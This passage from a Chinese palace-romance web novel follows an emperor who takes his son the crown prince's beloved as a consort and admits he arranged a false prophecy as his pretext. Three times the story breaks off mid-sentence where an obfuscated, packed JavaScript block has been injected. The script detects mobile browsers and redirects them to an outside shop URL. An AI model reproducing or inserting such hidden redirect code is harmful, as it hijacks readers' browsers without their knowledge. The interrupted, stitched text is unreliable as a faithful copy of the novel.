云凝秋心里松了口气,笑着点点头。她很快又说:“陛下冒风而来,身上染了些寒意,臣妾让人准备热茶,让您暖暖。” 景帝点头:“嗯。” 云凝秋快步向外走去,唤来红棉去备茶。 景帝转头看了眼方才被他关上的那扇窗,随后向云凝秋所在走去。 热茶饮过,又坐片刻,景帝仍无要离开之意,随意翻看着早些时候云凝秋所看书籍。 那是些描绘神话、志怪故事的话本,是顾筱卿与展雪歌怕她在宫中无聊,特意搜集来在她入宫前送到她手中的。 以往在家中她也会看,今日得空,自也看了看。 只是这些书,怕是入不了景帝的眼。 云凝秋笑了笑:“不过一些市井话本,陛下见笑了。” 她想将那些书收起来,但景帝却拿起其中一本来看:“你喜欢看这种书?” 云凝秋道:“偶尔看看,打发打发时间。” 景帝想了下:“宫中于你而言,应很无趣吧。” 云凝秋一惊,思绪瞬乱,她紧张的眨了眨眼,在纷乱思绪中理出些应对之词:“陛下抽空来陪臣妾,臣妾自不会觉着无趣。” “只是日头长,陛下不在时,总要给自己找点事情做。” 景帝看着她。 她抬头瞧了下他反应,发觉他正在看自己,又垂下眼去。 没接刚才的话,景帝忽道:“今夜,朕会留下。” 云凝秋低垂的眼眸颤了颤,心里有一丝抗拒自然而生。她双手紧攥着袖口,强行将那抹抗拒压制下去,在抬起头时向景帝展露温和笑颜:“那臣妾这就命人去铺床。” 景帝看着她的笑容,却未能从她眼中看到一丝真正的欣喜。 云凝秋正欲去叫人铺床,手腕忽被抓住。转头便对上景帝带着审视的眼神:“你可愿让朕留下?” 她得体笑着:“陛下留在臣妾这里,是臣妾的福气。” 景帝:“此言可是真话?” 云凝秋:“当然。” 景帝:“没有骗朕?” 云凝秋:“臣妾不敢。” 景帝坐于帝位数十年,见过形形色色之人,他们是真情或假意,他能分辨得清。 故而此刻云凝秋所言是否发自真心,他看得出来。 但他想,云凝秋刚入宫,拘谨在所难免,以后习惯就会好起来。现在,不打紧。 他松开云凝秋:“去吧。” 云凝秋笑了下,向他福了福身后朝外走去。 转过身,她面上笑容瞬时收敛大半,眼中全无半分笑意。 萧沉回到东宫不过片刻,景帝留宿在念云轩的消息便传来,他眸光彻底沉下,不甘与怒意混合其中。 被握在手中的茶盏因用力太过,忽的在他掌心碎裂。盏中茶水落了一手,打湿他袖口,碎瓷片自手中滑落,噼里啪啦掉在他脚边。 高喜即刻上来,用帕子将他的手擦干,有太监与宫女弯着腰过来,分别将地上的碎瓷片清理出去,以及擦干地上的水渍。 萧沉眼中有恨,亦有怒。 他试图稳住情绪,可一闭上眼就想起方才见过的云凝秋,越想越不甘心,心中的恨意越发强烈。 他转身欲外出时,高喜突的跪在他身前:“殿下不可啊!” 高喜猜到太子想做什么,何况刚偷偷出去一趟又再要出去,若是被陛下发现,轻则责骂,重则惩罚。 “殿下,事已至此,不如放下吧。” “放下?”萧沉觉得好笑,怒气更甚之前:“如何放下!” 凝秋本该是他的妻! 十三岁时,萧沉便与父皇说过想要娶凝秋当自己的太子妃,那时父皇还一脸温和的说丞相府的女儿确与他这个太子相配。 后来几年里,父皇旁敲侧击的询问过几次他的太子妃人选,他每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410320|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次说的都是凝秋。 萧沉早早做好了要迎娶云凝秋的准备,甚至还找人测算他们二人成亲的吉日,想着待她及笄便请旨迎娶。 然而事有无常,云凝秋十五岁这年生了场大病,病势汹汹如山倒,她卧床将近一月,即便后来逐渐好转,大夫也说需好生休养,以免伤了身体根本。 于是萧沉想,等云凝秋养好身体再谈婚事也不急,她身体康健更紧要。 这一养,便是三年。 云凝秋休养甚好,与他之间情意未改,眼看他们都已是可成婚的年岁,只差一道赐婚圣旨他就能得偿所愿,迎娶心上人为妻。 可他前脚刚去跟父皇请旨,不过短短数日就传出钦天监测算出云凝秋有可兴大梁国运命格。次日,父皇便下旨召她进宫为妃! 若云凝秋当真可兴大梁国运,难道自己这个太子迎娶她就不能兴了?偏要父皇才行?! 分明就是父皇故意将她抢去的! “他就是故意的!”萧沉咬牙切齿:“他就是见不得我与所爱之人圆满,便蓄意破坏!” “慎言……慎言啊,殿下!”高喜战战兢兢,后背冷汗直冒,脸色都有些发白:“这些话可不能说!” 萧沉气急要走,高喜抱住他的腿不让走:“殿下,陛下命您再东宫休养两月,期限未过,您不可再擅自离开东宫了,被知道的话,陛下会罚您的!” “殿下,您要考虑长远,不可被一时之怒冲昏头脑!” “何况您此时前去,什么都无法改变,还会惹陛下动怒,实在是不值当!真不值当啊!” 萧沉一脚踹开高喜。 高喜又赶紧跪着过来,再次抱住他的腿:“殿下,来日方长,不必急这一时啊!” “求您三思,若此刻前去,凝妃娘娘如何自处?万一陛下迁怒于她,迁怒于云府,可怎么是好?” “凝妃娘娘会恨您的……” 萧沉的动作忽停下。 气息不稳致胸前起伏,火气随之上了头,他有些头晕。脚步踉跄两下,被眼疾手快而起身的高喜给扶住。 他抿唇,继而甩开高喜,步伐沉重着走向茶室。 茶室摆放数种茶叶,都是云凝秋爱喝的。 以往云凝秋来,萧沉都会亲手为她煮一壶茶,两人于窗边而坐,赏着院中美景,饮着杯中香茶。 偶尔闲聊几句,她说说家中事,或与好友外出玩耍时发生的趣事。而萧沉安静聆听,给她添茶一杯。 他是太子,少有出宫机会,再加上这两年着手帮父皇管理朝政,事务诸多,无法像以前那般时常去陪她,只是听她言说她之事,他心亦欢喜,仿佛从她言语中也陪着她经历了一遭。 那时她如月牙弯弯的眼,灿若牡丹的笑颜,仿佛还在眼前。她柔声唤出的“殿下”,似乎仍在耳边回响。 萧沉头疼欲裂。 他左手撑着头,忍着头疼用右手取出茶叶,在茶台上煮了壶茶。 茶水沸腾,热气随着茶香弥漫。 他看着那壶已然沸腾的茶,却迟迟没去取,直至茶水自壶口喷溅而出,浇熄茶台下的碳石。 夜渐深,念云轩屋中已灭了烛火。 东宫茶室内,萧沉枯坐一整晚。 5. 五 翌日,贺贵妃宫中,诸嫔妃来行晨省之礼。 皇后病逝多年,景帝未再册立新后,后宫以贺贵妃与林贵妃共同协理。二人商量后,晨省之礼的安排为单数月于林贵妃宫中、双数月在贺贵妃宫里。 如今是四月中旬。 片刻后,诸位嫔妃陆续抵达,按位分入座。 贵妃尚未露面,她们便与相熟之人低声聊着天,偶有轻笑声起。直至两位贵妃出现,她们立即噤声,起身行礼。 眼看时辰将近,最新入宫的那位凝妃却迟迟不见身影。 邱明前来传话:“传陛下口谕,即日起,免去凝妃晨省之礼,其余事,两位贵妃照常即可。” 口谕传达后,邱明离去。 屋内,几位嫔妃互相交换眼神。 有人没忍住先开口:“这位凝妃还真是神通广大,入宫第一夜就让陛下留宿,第二日就免去了她向贵妃娘娘的晨省之礼,陛下对她可真是好,这往后还不知能得到什么特殊的待遇。” 右侧的安嫔用手帕点了点鼻尖:“听闻凝妃娘娘命格特殊,可兴大梁国运,陛下待她特殊些,也在情理之中。” 旁边的刘美人转过头来:“你相信?” 安嫔笑着:“陛下信,我当然也信。” “钦天监测算之言来的突然,且无实证,怕是不可信。” “你怎知不可信?难不成还要去钦天监询问一番?你敢去?” “怎么不是你去?” “因为我相信啊。” “你……” “够了,”贺贵妃出声制止:“此事岂能妄议?若陛下知晓,你们的脑袋还要不要了?” 安嫔与刘美人的争论瞬间结束,两人低着头,恭敬着说了句:“臣妾失言,请贵妃娘娘恕罪。” 林贵妃坐于一旁,虽无言语,却将她们的话都听了去。 在宫中待了这么些年,对陛下还算有点了解,不论钦天监所言是否属实,只要陛下信了,那就是真的。如今凝妃得陛下青睐,即便心中对她有所不满,也不能在此时发泄,否则惹得陛下不快,倒霉的可是自己。 晨省之礼没多久便结束。 其余嫔妃离去后,只剩两位贵妃。 贺贵妃朝一旁的林贵妃看了眼:“你今日话很少。” 林贵妃笑:“每日都是这些事,没什么好说的。” 贺贵妃端起茶盏至唇边轻抿一口:“陛下虽免去凝妃晨省之礼,可她毕竟刚入宫,若她有些眼力见,自会前来见我们。你觉得,她会先去你那里,还是先来我这儿?” 林贵妃挑眉:“你这是要跟我打赌?” 贺贵妃看向她:“若凝妃先去你那儿,你喜欢的那副百凤朝云图,我送你。” 林贵妃顿时来了兴致:“一言既出,驷马难追,你可不许反悔!” 贺贵妃:“若她先来我这里,你手中那幅柏大师的书法真迹,要送我。” 林贵妃:“成交。” 念云轩。 云凝秋醒得比寻常时候晚些,睁眼后发觉明光自窗子照进来,有几分晃眼。她正疑惑自己怎的睡到此刻,为何红棉没来唤自己起床,帷帐外传来脚步声。 轻,却稳。 不是红棉的脚步声。 云凝秋坐起身,伸手将帷帐掀开,抬眼就瞧见已走到床边的景帝。 她一愣,眼神瞬诧:“陛下?” “醒了。”景帝在床边坐下,将她额前散落的发丝往后顺去:“看来朕回得正是时候。” 云凝秋瞥了眼窗外的光,又看向景帝身上那袭尚未换下的龙袍,反应过来:“陛下早朝结束了?” 景帝点头。 云凝秋有些慌张:“陛下怎不让人叫臣妾起来?” 按规矩,皇帝留宿在哪位嫔妃宫中,就由那位嫔妃在早朝前为皇帝穿衣。 而且还有个晨省之礼。后宫虽无皇后,可却有两位协理的贵妃,自己刚入宫就错过晨省之礼,这是对她们的不敬。 “不必紧张,”景帝拍了拍她手:“朕见你睡得熟,便没让人叫你。” “晨省之礼,朕已为你免去,以后你不必早起去晨省,睡到你想起来时就是。后宫嫔妃,你不想去见,便无需去见。见她们,礼数繁多,想必你不习惯,就不必勉强自己了。” 云凝秋诧异:“这……似乎不合规矩。” 景帝却道:“朕就是规矩。” 云凝秋看着景帝,心有诧异,一时不知该说些什么。 他待她特殊,她心里有一丝感动闪过,却也很快意识到那不太对。如此明显的区别对待,定会引起后宫嫔妃对她的不满,她虽无意与那些人刻意拉近关系,却也不想刚入宫就树敌。 眼下有景帝恩宠,她自可无虞,可若将来他失去对她的兴致了,自己在这宫中处境怕是会有些艰难。 这种事,景帝应该明白,可她不懂他为何还要这般区别对待她。 他是真信了那命格之言,还是因对自己的新鲜感? 看她不说话,景帝提醒:“既醒了,梳洗一下,陪朕用早膳吧。” 云凝秋回过神,赶紧点点头:“是。” 梳洗更衣后,云凝秋陪景帝用早膳。 她吃的不多,且胃口不佳,数道早点,她也随意吃了点。 见她没吃几口就已放筷,景帝问:“胃口不好,还是不喜这些食物?” 云凝秋展露出温和笑容:“回陛下,臣妾本就吃的不多,此刻已然饱腹。” 景帝瞥了眼桌上早点,几乎未动。 有几道,云凝秋都没伸筷子。看来是不喜欢。 早膳后,云凝秋本以为景帝要去御书房批奏折、处理朝政,自己也可以放松片刻,今日天气不错,还能去御花园走走,兴许还能碰见宫中嫔妃,互相打个招呼问候一番,此外,还得去两位贵妃娘娘宫中请安,自己刚入宫,怎么也得去一趟,周全礼数。 然,景帝跟她说:“你与朕一同去御书房。” 云凝秋诧异抬头,眼神显然不解。 御书房是景帝处理朝政之处,而后宫嫔妃不得干政,若是去送个茶点还说得过去,他让自己跟着去御书房这是何道理? “这……”云凝秋紧了紧手:“臣妾去御书房,会打扰陛下处理事务,臣妾还是在念云轩等陛下吧。” 景帝却说:“无妨,不会打扰。” “……” 最后云凝秋还是跟着去了。 景帝亲自开口,她哪有拒绝余地? 云凝秋第一次进御书房,屋内恢宏宽敞,比寻常人家的书房更显威严,不远处桌案上摆放着如小山堆般的奏折。 她只瞥去一眼便敛回视线,奏折里写着的都是朝廷要事,不是她能看的,问也不能问。就当没看见。 景帝在他桌案侧边为云凝秋准备了另一副书桌,桌上整齐陈列有几摞书籍,云凝秋过去看了看,惊奇的发现竟那是些神话、志怪类的话本。但类型更多,都是她没看过的。 即便每日都看,也得大半个月才能看完。 景帝是何时命人收集来的这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410321|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话本?按理说,这些东西宫里应当没有才是。 她转头看向景帝,景帝道:“你就在此处陪朕。” 她抿唇,又点点头。 这一日,云凝秋都在御书房陪景帝。 大多时候是景帝批阅奏折,云凝秋在侧边看书,午膳是一块在御书房用的,晚膳是景帝与云凝秋回到念云轩后吃的。 而后景帝留宿在念云轩。 接连数日,皆是如此。 贺贵妃宫中,林贵妃与她下棋。 棋盘上,黑白棋子陷入僵局,一时难分胜负。 林贵妃举着一颗白棋,思索良久却不知下在何处为好,她叹了口气,又将棋子丢回棋盒中:“不下了……这都死局了。” 贺贵妃抬手,宫女即刻上前来收棋子。 “再来一局?” 林贵妃摆摆手:“不来,下得我头疼。” 另有宫女大步走来,于她们身前恭敬行礼:“贵妃娘娘,今日陛下仍将凝妃娘娘带去了御书房。” “知道了,”贺贵妃眨眼,转眸看向棋盘另一边的人:“看来,上次你我的赌局,是分不出输赢了。” 林贵妃托腮,拿起一块蜜饯递到嘴边:“陛下当真是喜爱凝妃,竟然一连数日都将她带去御书房,即便是你我,没有允许也是不能前去的。” “谁说不是呢,”贺贵妃饮下一口茶:“即便是当年的皇后娘娘,也不曾有过这般待遇。” 林贵妃抬眼:“听闻陛下仍是皇子之身时,曾有过一位十分喜爱的女子,两人鹣鲽情深,奈何那女子福薄,尚未等到陛下入主东宫便病逝,死时刚过十八。与如今的凝妃年岁相当,亦是同样的美丽。” 贺贵妃看向她:“你的意思是……” 林贵妃笑:“没什么意思,不过偶然想起了件过往之事。” 贺贵妃眯了下眼。 林贵妃朝她笑笑,若无其事般继续吃着蜜饯。 御书房。 云凝秋手边的话本已看完大半。话本故事有趣,可一连多日接连看了二十来本,着实有些乏味。 再加之长时间久坐阅读,眼睛疼,腰也疼,浑身都不舒坦。 这日的午膳后不久。云凝秋有点经受不住疲惫带来的困倦,她一手撑住头,另只手翻动书页,双眼看似盯着书页上内容,实则眼皮在打架。 她试图以使劲眨眼的方式保持清醒,可效果甚微,眼睛阖上不过一会儿,她就以撑着头的姿势睡了过去。 景帝批完手下这本奏折,去拿另一本奏折时眼角余光瞥到侧边的云凝秋,见她保持相同姿势许久,不由疑惑。 他犹豫了会儿,起身过去,随即瞧见云凝秋安静的睡颜。她就这般好生坐着,低头注目在书页,甚至一只手还搭在书上,不走近些都看不出其实她已然入睡。 望着她睡着时的柔和面容,景帝的眼神也放柔些许。他情不自禁伸出手,将落在她脸颊处的发丝往耳后轻轻拨过去。 发丝轻盈擦过脸颊,云凝秋眉头微动了动,有所察觉。她意识昏沉,陷于梦中,误以为是太子趁她睡着时用发丝故意撩她脸颊,于是轻声呢喃了句:“殿下别闹……” 景帝的动作倏忽僵住。 他看向云凝秋的眼神瞬间变至深沉与凝重,全无方才的柔和。 太子…… 她进宫已有数日,自己每日陪着她,予她恩宠,待她特殊,给了她其余嫔妃从未有过的好,她竟还念着太子! 太子就有那么好?! 好过他这个皇帝?! 6. 六 许是这几日积累了不少疲惫,云凝秋睡得很沉,撑着头的手有些支撑不住,后来索性趴下来,枕着手臂入睡。 她呼吸清浅而平稳,暂无醒来之意。 景帝站在她身边看了许久,想起方才她于睡梦中无意识喃喃道那声“殿下”,他想她梦中定有太子存在。 他想要将人唤醒,不愿她继续梦见太子,可她睡得舒坦,宛如一只安静的小猫,没了平日的拘谨与紧张,脸颊枕在臂弯中,神情完全放松。景帝有些不忍,亦不想搅扰她的好眠。 心中纠结片刻,最终景帝还是将伸出的手收回。没多久又取来一件薄毯,轻轻盖在她肩上。 云凝秋感觉到什么,脑袋动了动,将脸朝臂弯间埋下去些,找寻更舒适的睡姿。 景帝静静注视着她,垂下的手从舒展到紧握,又从握紧的拳头缓缓松开。云凝秋与太子相识多年,对太子的情意并非短短数日就能化解,她如今对太子仍有几分留恋也在情理之中。 但没关系,来日方长,她已是自己的凝妃,她早晚会发现自己的好,会发现太子于她而言不值一提,自己这个皇帝更为重要。 何况是他下旨把她召进宫来的,相较于他,她年岁尚小,自己更年长,要更宽容些,多给予耐心,要对她更好。不过睡梦中无意识呢喃的一两句话,根本不用太在意。 身处后宫之中,她早晚会忘记太子。 毕竟,在她身边的,是自己,不是太子。 景帝眸光沉沉,指节抵上云凝秋柔嫩的脸颊,轻轻摩挲了几下。 片刻后,景帝走出御书房。 院中,他沐浴在阳光下,闭眼深吸口气,继而缓缓呼出,如此重复几次。而后他抬手示意了下,身侧的邱明很快走上前。 景帝问:“太子最近如何?” 邱明答:“回陛下,按您的吩咐,太子殿下这段时日都在东宫休养,不曾外出。” 景帝:“一次也没出来过?” 邱明笑了笑:“应该是没有。殿下向来听您的话,两月之期结束前,他不会擅自离开东宫的。” 景帝又问:“这几日,他情绪怎样?” 邱明愣了下,如实作答:“殿下大多时候都在房中,外头的人进不去,不知他情绪好坏。” 景帝:“可吃饭了?” 邱明道:“相比较以往,少了些,但也吃了。” 景帝抿唇,负在身后的双手紧了紧。半晌过后,他抬头看了眼天:“邱明,你说,朕将凝妃召进宫,可是真伤了太子的心?” 邱明低着头,恭敬回答着:“陛下您与殿下父子情深,他不会因此记恨您的,只是事发突然,殿下他需要一点时间去想清楚,但他早晚都会想通的。” “是吗?”景帝轻声低喃了句,像是说给邱明听,又好似是说给自己听。 他敛回看天的视线,低下头时喉头忽的发痒,忍不住咳嗽两声:“咳咳……” 随之变得剧烈,咳嗽声明显起来。 景帝捂住嘴,试图减轻声音。邱明见状赶紧走过来扶住他,同时将随身携带的一只小瓷瓶拿出,从中倒出两颗小药丸递给他。 他接过,丢进嘴里吞下。 邱明一边拍着后背为他顺气一边安抚:“陛下不必多思,凝妃已是凝妃,殿下也仍是殿下,等过段时日他们都会想通的。” 服下的药丸起了效果,咳嗽被止住。景帝长长舒缓出一口气,没再说什么。 约摸过去半个时辰,云凝秋手臂被枕麻,感受到脖子上的僵硬,她才从睡梦中挣扎着醒来。 睁眼时她仍有几分恍惚,缓了缓后忽的反应过来这是在御书房,猛地直起身,盖在她肩上的薄毯随之滑落,掉在身后的椅子上。 她有些慌张,赶忙揉了揉尚未完全褪去惺忪的眼,小心翼翼扭头看向右侧景帝的桌案。 但景帝不在。 她眼中闪过一丝疑惑。 但还不等她找人,就听见门外传来脚步声。平稳而坚定,每个步子的间隔几乎一致。是景帝的脚步,这段时日她已逐渐熟悉。 转头,果然是景帝。 她立即起身行礼。 “不必多礼,”景帝径直走向她,将她扶起:“睡得可好?” 云凝秋有一瞬紧张:“请陛下恕罪,臣妾不是故意……” 景帝温声打断她:“既累了,睡会儿也无妨。” 他握着她的手:“若是之后你觉得困,与朕说就是,不必强撑。” 云凝秋看着他:“可陛下不是让臣妾在这里陪您吗?您在忙着处理朝政,臣妾却去休息,好像不太好。” 景帝摇了下头:“没什么不好。往后若有疲倦,直言就是。” 闻言,见他表情认真,不似随口言语,于是她点头应下:“是。” 景帝说:“时辰尚早,奏折朕已批阅完毕,陪朕去御花园走走可好?” 云凝秋露出笑容:“好。” 临近黄昏,日头不晒,带着些微暖意,偶尔吹拂来的风中裹挟着淡淡花香。 云凝秋视线落在不远处的桃花林。桃花娇艳,一簇一簇的争先于枝头绽放,一眼望去满目皆是粉嫩的花,花簇之间,有蝶翩跹,有蜂采蜜。 行至过去时,她不由自主抬手往桃花上轻点了点,花瓣微颤,但未落。 景帝望着她,留意着她的动作,眼神渐柔和。 云凝秋转过头来时,他笑了下。云凝秋微愣,很快随着他一起露出笑颜。 美人笑靥如花,比这春日盛放的桃花还要美上几分。 景帝移不开眼,目光全在云凝秋身上。 他忆起约两年半前在云府见到云凝秋的场景。 那时是微风和煦的初夏,云凝秋大病初愈,太子带着礼物前来,她甚是高兴,喜笑颜开,在满树的海棠之下拉着太子的手左右摇晃,是开心,亦是撒娇。 而太子由着她摆动自己的手,眼中满是对她的温柔。 后来太子命人取来长琴,为她抚琴一曲,她穿着一袭如水温柔的浅蓝纱裙,在太子的琴音中翩然起舞,恰似一副男有情女有意的缱绻画卷。 那日景帝登门,原本是在宫中待的闷了,出宫放松一下,特意来找云长康闲聊下棋,却在与云长康去下棋的路上经过云府花园,偶然见到了云凝秋为太子跳舞的画面。 她身段优美,起舞翩翩时柔若无骨,纱裙绸带随她动作起,迎着风飘扬。 垂眼低眉许久,却在抬眼的刹那勾人心魄。 一曲琴音结束,随后有男子的爽朗与女子的清脆笑声混和而起。 景帝站在他们视角注意不到的位置,望着他们的欢喜,瞧着他们的情意。 他想起了他那段无疾而终的情,透过云凝秋仿佛重新见到了当年的人,他不禁看了许久。 还是身侧的云长康出声提醒,他才回过神。 也许从那个时候开始,他就生出了想要将云凝秋抢过来的念头。只是不太明显,被他压抑在心底。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410322|200660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直至后来再见云凝秋,她比那时所见更为漂亮动人,她看向太子时眉目间的柔情像是化不开的春水。他心中的贪欲再度生出,他想要拥有这样的眼神,包括有着这种眼神的人本身。 于是在太子请旨赐婚时,他做出了选择。 于他而言,是得偿所愿。 但对太子来说,却有些残忍。 钦天监测算出云凝秋命格特殊,可兴大梁国运的说辞,是他授意。 他需要一个下旨的借口。之后便再无顾忌,只需按他所想步步进行即可。 至眼前,一切顺利,正如他所想。 “陛下?”见景帝盯着自己愣神,云凝秋疑惑出声,不解的看着他。 “陛下,您还好吗?” 景帝眨眼,思绪扯回至此刻:“无事。” 有春风起,温柔的吹动枝头簇拥的桃花,花瓣轻颤,有些挂不住的从枝头脱落,打着转儿的顺着风的方向悠悠飘落。 几片娇嫩的粉花瓣落在云凝秋头上。 景帝伸手,将落在她发髻上的花瓣取下:“听闻,你偏爱海棠。” 云凝秋应答:“是。” 景帝问:“为何喜爱海棠?” 云凝秋道:“海棠花树树态挺拔,花开时满树簇拥而生的花,颜色艳丽,一眼看去生机盎然,瞧之让人欢喜,且靠近时能闻见淡淡果木花香,令人舒适。” 景帝看向眼前的桃花林:“听起来,与桃花类似。” 云凝秋却说:“桃花是桃花,海棠是海棠,不一样的。” 景帝一愣,转头看向云凝秋。 云凝秋眼睫如蝶翼轻颤了下,继而望向眼前这片烂漫盛放的桃花:“就像有人喜欢吃蜜桃,有人钟爱脆梨,虽然它们都是树上长出来的果子,味道也很好,可它们就是不同。” 她向前走去,景帝缓步跟随。 一棵桃花树下她暂做停留,伸手在一支伸展而下的桃花枝上摘下一朵桃花:“御花园中这片桃花林长势喜人,定是有人精心照料养护。” 继而转身,将摘来的那朵桃花递给景帝:“陛下应该喜爱桃花吧。” 他伸手,云凝秋将那朵粉嫩的桃花放在他掌心。 他垂眼看了下那朵桃花,又抬眼看向身前美人:“朕的确喜爱桃花。” “不过,方才听你所言,朕觉着海棠也值得一观。城郊柏山上有人专门养育了大片花林,海棠亦在其中,不如你与朕同去观赏一番,如何?” 有一丝诧异自云凝秋眼中浮现,继而又有一抹惊喜:“陛下的意思是,要带臣妾出宫去柏山赏花?” 景帝点头:“你可愿去?” “当然!”云凝秋几乎没犹豫:“臣妾自是愿意。” 她还以为入宫后,想要出宫一趟会十分不容易,她之前还想着要怎么跟景帝开口能得到一次出宫的机会,她想回家见见父母与兄长。 不成想这出宫的机会来得如此突然。 只是出宫要去的是柏山,不知是否能绕道回趟家,应耽搁不了多少时辰。 她抿了下唇,正思索要如何开口,景帝却好似已经猜到她所想,先开了口:“你入宫也有段时日了,想必思念家人,这次去柏山,可让你家人同往,以解思念。” 云凝秋眼眸一瞬亮起,惊喜更甚刚才:“当真?” “当真,”景帝看着她:“朕的话,你不信?” 云凝秋笑:“信!” “信的信的!”她笑出声:“多谢陛下!” 7. 七 得知景帝要带云凝秋去柏山赏花的消息时,萧沉正在东宫书房看书。他修长的手指挑起书页底将其翻过去一页,神情淡淡。 这几日他心绪反复多次,虽在看书,却没什么精神,脸上是多日不曾安睡的疲惫,有些许红血丝布在其中。 前来禀报的高喜见他好似没听见,纠结半晌,却也不敢再说第二遍。 高喜低下头,小心翼翼往后撤了两个步子,萧沉忽出声:“去赏什么花?” 高喜一愣,匆忙的抬了下头:“好像是……海棠。” “海棠……”萧沉低声重复了遍,身体往后靠了靠,头微偏,望向窗外。 窗边就有两棵海棠,是当年他与云凝秋相识后不久得知她最爱海棠,特意命人移植来此。这十几年,它们依偎而生,树枝朝四向蔓延,每年花开时,满树烂漫的海棠,洋溢着春日朝气,甚是喜人。 以往云凝秋来东宫时,还会夸赞这海棠,说养得比她院中那些还要好,她都羡慕了。 那时萧沉见她很喜欢,说要将这两棵海棠挖去送她,移种在她院子里。 她却笑着说:“不必如此麻烦,反正以后我都能见着它们。” 思绪回转,萧沉放下书,起身走向窗边。 入目就是挂满枝头簇拥而生的海棠花,有树枝延伸至窗前,他伸手即可摘下。但他只是用指尖轻碰了碰花瓣,没有将其摘下。 柏山的海棠花林,他与云凝秋去过。且不止一次。 还好,是他先与她去的。 翌日辰时中,有马车从皇宫出来,朝城门方向行驶而去,马车前后皆是随行护卫的禁军。 城门外,是早已在等候的云家人,他们站在一块,低声聊着什么。 见皇宫的马车过来,他们立即停下话题,纷纷朝向马车。 景帝先从马车下来,随后云凝秋露面。 他向她伸出手,她动作微顿了下,抬眼对上他看向自己的柔和目光,随即将自己的手放在他手中。 云长康先上前:“微臣见过陛下,见过凝妃娘娘。” 其后的钟静兰与云玉峰跟随行礼。 景帝:“诸位免礼。” 云凝秋眼眸清亮,眼中全是欢喜,但碍于景帝在身侧,她还得顾及身份,不能表露太明显,只能以微笑示意。 钟静兰见着她,亦是欢喜,笑着点点头,回应她的微笑。 景帝看出云凝秋的心思,去往柏山的路上,他让云凝秋跟着她母亲,自己这边则是让云长康作陪,顺道聊聊朝堂上的事。 “多谢陛下。”目送景帝上马车后,云凝秋转身握住母亲的手,激动的晃了两下。 钟静兰拍了拍她的手,她顺势挽住母亲胳膊:“母亲,大哥怎么不在?” “玉淩去邕州了,”钟静兰解释:“邕州遭逢数日大雨,桥坝决堤,山洪倾泻冲毁不少屋舍,受灾严重。你大哥是工部侍郎,前几日跟随赈灾的钦差过去协助修建新的堤坝,要将河流改道泄洪,算工程,估摸着也得两三个月后才能回来。” 云凝秋眨眼:“这样啊。” 好可惜,没能见到大哥。 “还有我在呢。”云玉峰凑过来,挑眉道:“还好我在大理寺当差,最近无事,请个假就能来。” 云凝秋笑:“是呀是呀,还有二哥在呢。” 云玉峰习惯性抬手,想像往日那般去揉妹妹的头,却又想起来如今隔着身份,陛下就在不远处,他不能如此无礼,很快就将手收回。 注意到他的动作,云凝秋眼底闪过一丝无奈,却也很快恢复如初,向他笑着。 他摸了摸鼻子,咧开嘴轻轻笑出声来。 片刻后,要启程。 云凝秋与钟静兰坐上马车,云玉峰骑马守在马车旁。 隔绝开外头的人,钟静兰笑意敛去大半,抓着云凝秋的手露出些心疼,尚未开口却有一丝叹息先出。 云凝秋知道母亲在担心自己,柔声安抚道:“母亲,您不必担忧,女儿在宫中很好。” “真的很好吗?”钟静兰紧紧握着她的手:“秋儿,你可莫要骗母亲。” 云凝秋话语肯定:“女儿怎么会骗您呢?陛下待我很好,我无事的。” 怕母亲不相信,她又接着补充:“若是陛下对我不好,怎么会带我去柏山赏花?又怎么会将你们叫来陪我?” 钟静兰皱了皱眉,一番思索后,又缓缓舒展开。但还是没忍住又叹了口气。 云凝秋道:“母亲,不要总是叹气,会长皱眉的。” 说着,她抬起手摸了摸母亲的眉毛,手指顺势向两边移动,给按了按眼角。 钟静兰笑了下:“好,不叹气。” 半个时辰后,马车至柏山山脚。 山上有数片不同的花林,已是城中人闲暇时外出游玩的必来之处。原先山道陡峭,只能步行上去,后来有个喜爱赏花的富商觉得上山之路凶险而艰难,出钱找人将山道开拓,如今已是可供马车上下来回的平坦大道。 故而来此的人也比以往更多。 而这春日正是赏花的好时节,山道上多辆马车来往,挡住前路。 禁军先行开路,让马车向两侧靠,清出中间大道供景帝与云府的马车前行。 到半山腰,是花林主人设置的马车停放处,以及差人收费之处。 要想入花林赏花,得交钱。 养育范围如此之广的花林,花费定然不少,有人来赏花,多少会有损毁,亦需维护。花林主人收的钱便是养护这片山林的钱。 收费不多,即便寻常百姓来,也给得起,进得去。 云玉峰过去,按人头交费,马车停放在一旁,选了几个禁军守着,其余人接连进入花林区域。 最先经过的是片桃花林,景帝最爱桃花,想停留了片刻欣赏此间美景。他让云凝秋随意,等会儿会去找她。 